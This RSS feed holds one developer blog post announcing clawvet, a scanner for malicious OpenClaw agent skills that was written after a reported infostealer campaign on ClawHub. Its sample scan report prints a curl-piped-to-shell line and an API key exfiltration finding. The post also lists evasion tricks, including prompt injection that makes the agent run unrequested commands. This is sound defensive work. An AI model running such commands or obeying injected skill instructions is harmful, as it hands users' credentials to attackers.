<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Baz</title>
    <description>The latest articles on DEV Community by Baz (@bazzz).</description>
    <link>https://dev.to/bazzz</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3803374%2F492ac010-b5f7-4922-9f67-9302434c7a76.png</url>
      <title>DEV Community: Baz</title>
      <link>https://dev.to/bazzz</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/bazzz"/>
    <language>en</language>
    <item>
      <title>I built a 6-pass security scanner for OpenClaw skills after 824 malicious ones were found on ClawHub</title>
      <dc:creator>Baz</dc:creator>
      <pubDate>Tue, 03 Mar 2026 09:13:27 +0000</pubDate>
      <link>https://dev.to/bazzz/i-built-a-6-pass-security-scanner-for-openclaw-skills-after-824-malicious-ones-were-found-on-clawhub-2n05</link>
      <guid>https://dev.to/bazzz/i-built-a-6-pass-security-scanner-for-openclaw-skills-after-824-malicious-ones-were-found-on-clawhub-2n05</guid>
      <description>&lt;p&gt;In February 2026, security researchers discovered that roughly 20% of skills on ClawHub — the marketplace for OpenClaw AI agent plugins — were malicious. The "ClawHavoc" campaign had been silently distributing infostealers disguised as productivity tools. Skills that claimed to manage your calendar were actually exfiltrating your API keys, SSH credentials, and browser data to C2 servers.&lt;/p&gt;

&lt;p&gt;I built &lt;strong&gt;clawvet&lt;/strong&gt; to solve this. It's a CLI tool that runs 6 independent analysis passes on any OpenClaw &lt;code&gt;SKILL.md&lt;/code&gt; file before you install it.&lt;/p&gt;

&lt;h2&gt;
  
  
  What it catches
&lt;/h2&gt;

&lt;p&gt;Most existing scanners run a single pass of regex matching. clawvet runs six:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Pass&lt;/th&gt;
&lt;th&gt;What it does&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Skill Parser&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Extracts YAML frontmatter, code blocks, URLs, IPs, domains&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Static Analysis&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;54 regex patterns across 12 categories (RCE, credential theft, reverse shells, DNS exfil, obfuscation, prompt injection)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Metadata Validator&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Flags undeclared binaries, env vars, missing descriptions, bad semver&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Dependency Checker&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Detects &lt;code&gt;npx -y&lt;/code&gt; auto-install, global npm installs, risky packages&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Typosquat Detector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Levenshtein distance against popular skills catches name impersonation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Semantic Analysis&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;(Optional) Claude AI analyzes instructions for social engineering and hidden functionality&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Quick start
&lt;/h2&gt;

&lt;p&gt;Scan a local skill:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx clawvet scan ./suspicious-skill/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;JSON output for CI/CD:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx clawvet scan ./my-skill &lt;span class="nt"&gt;--format&lt;/span&gt; json &lt;span class="nt"&gt;--fail-on&lt;/span&gt; high
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  What a scan looks like
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  ClawVet Scan Report

  Skill:   productivity-boost
  Version: 1.0.0
  Risk Score: 100/100  Grade: F

  [CRITICAL] Curl piped to shell
    curl -sL https://...setup.sh | bash

  [HIGH] Known malicious IP
    91.92.242.15

  [HIGH] API key exfiltration
    ANTHROPIC_API_KEY → webhook.site

  Recommendation: BLOCK
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Why 6 passes matter
&lt;/h2&gt;

&lt;p&gt;The ClawHavoc skills were clever. They passed basic regex checks by:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Splitting malicious commands across multiple code blocks&lt;/li&gt;
&lt;li&gt;Using base64 encoding and hex payloads&lt;/li&gt;
&lt;li&gt;Hiding C2 IPs in YAML metadata fields&lt;/li&gt;
&lt;li&gt;Using typosquatted names (&lt;code&gt;todoistt&lt;/code&gt; instead of &lt;code&gt;todoist-cli&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Embedding prompt injection to make the AI agent run commands the user didn't ask for&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;No single analysis technique catches all of these. The 6-pass approach means each layer catches what the others miss.&lt;/p&gt;

&lt;h2&gt;
  
  
  The numbers
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;54&lt;/strong&gt; static detection patterns (reverse shells, DNS exfil, credential theft, obfuscation, prompt injection, etc.)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;61&lt;/strong&gt; tests (unit, integration, regex safety, CLI end-to-end)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;12&lt;/strong&gt; threat categories&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;6&lt;/strong&gt; test fixtures from benign to fully malicious&lt;/li&gt;
&lt;li&gt;Catastrophic backtracking protection on all regex patterns&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Use it in CI/CD
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# GitHub Actions&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Vet skill before merge&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;npx clawvet scan ./my-skill --format json --fail-on high&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Open source
&lt;/h2&gt;

&lt;p&gt;The full source is on&lt;br&gt;
GitHub: &lt;a href="https://github.com/MohibShaikh/clawvet" rel="noopener noreferrer"&gt;https://github.com/MohibShaikh/clawvet&lt;/a&gt;&lt;br&gt;
npm: &lt;a href="https://www.npmjs.com/package/clawvet" rel="noopener noreferrer"&gt;https://www.npmjs.com/package/clawvet&lt;/a&gt;&lt;br&gt;
ClawHub: &lt;a href="https://clawhub.ai/MohibShaikh/clawvet" rel="noopener noreferrer"&gt;https://clawhub.ai/MohibShaikh/clawvet&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Install it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt; clawvet
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you're using OpenClaw, I'd appreciate it if you gave it a try and let me know what you think. Issues and PRs welcome.&lt;/p&gt;

</description>
      <category>security</category>
      <category>opensource</category>
      <category>ai</category>
      <category>cli</category>
    </item>
  </channel>
</rss>
